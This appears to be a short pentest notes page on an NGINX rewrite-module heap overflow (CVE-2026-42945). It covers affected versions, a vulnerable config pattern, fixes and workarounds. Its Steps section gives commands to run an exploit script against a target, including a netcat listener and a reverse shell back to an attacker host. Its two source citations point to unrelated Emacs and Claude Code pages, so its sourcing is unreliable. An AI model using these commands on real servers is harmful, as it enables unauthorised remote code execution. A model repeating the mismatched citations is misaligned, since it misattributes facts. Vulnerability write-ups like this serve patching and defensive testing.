CVE-2026-42945 NGINX Rift Heap Buffer Overflow RCE
Table of Contents
An 18-year-old unauthenticated heap buffer overflow in NGINX's ngxhttprewritemodule triggered by a single crafted HTTP request. Allows RCE on systems with ASLR disabled. CVSS 9.2.
Related: Web Application Testing Methodology LAMP Stack
Description
A heap-based buffer overflow in nginx's ngxhttprewritemodule allows an unauthenticated attacker to crash a worker process, or potentially achieve remote code execution on hosts with ASLR disabled, by sending a single crafted HTTP request. [Spacemacs](https://www.spacemacs.org/layers/+tools/claude-code/README.html?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=eeb485eb-86b1-4f19-b7c8-02e108ae5500)
The bug is a size-mismatch between two passes over the rewrite replacement string. When a rewrite directive uses an unnamed PCRE capture ($1, $2) with a replacement containing a question mark, and is followed by another rewrite, if, or set directive, nginx computes the destination buffer size using one escaping method but writes the result using a different one. Characters such as +, %, and & expand during re-escaping, and the write runs past the end of the allocation. [GitHub](https://github.com/stevemolitor/claude-code.el?claude-citation-7872e9f1-9a0b-4528-9db9-eca9a3020434=93bf3fce-ba27-4346-a944-796124904cb4)
Affected: NGINX 0.6.27–1.30.0, NGINX Plus R32–R36. Fixed: NGINX 1.30.1, 1.31.0.
Vulnerable config pattern:
# VULNERABLE — unnamed capture + ? in replacement + followed by directive rewrite ^/users/([0-9]+)$ /profile.php?id=$1 last;
Steps
# Check NGINX version nginx -v curl -sI http://$IP/ | grep -i server # Exploit (requires ASLR disabled for RCE, otherwise DoS) # PoC available on THM AttackBox python3 nginx_rift.py --host $IP --port 80 --cmd "id" # Reverse shell nc -lvnp 1337 python3 nginx_rift.py --host $IP --port 80 \ --shel --lhost $LHOST --lport 1337
Defences
- Upgrade to NGINX 1.30.1 or 1.31.0
- Temporary workaround — replace unnamed captures with named captures:
# SAFE — named capture rewrite ^/users/(?<user_id>[0-9]+)$ /profile.php?id=$user_id last;
- Enable ASLR (prevents RCE, still allows DoS)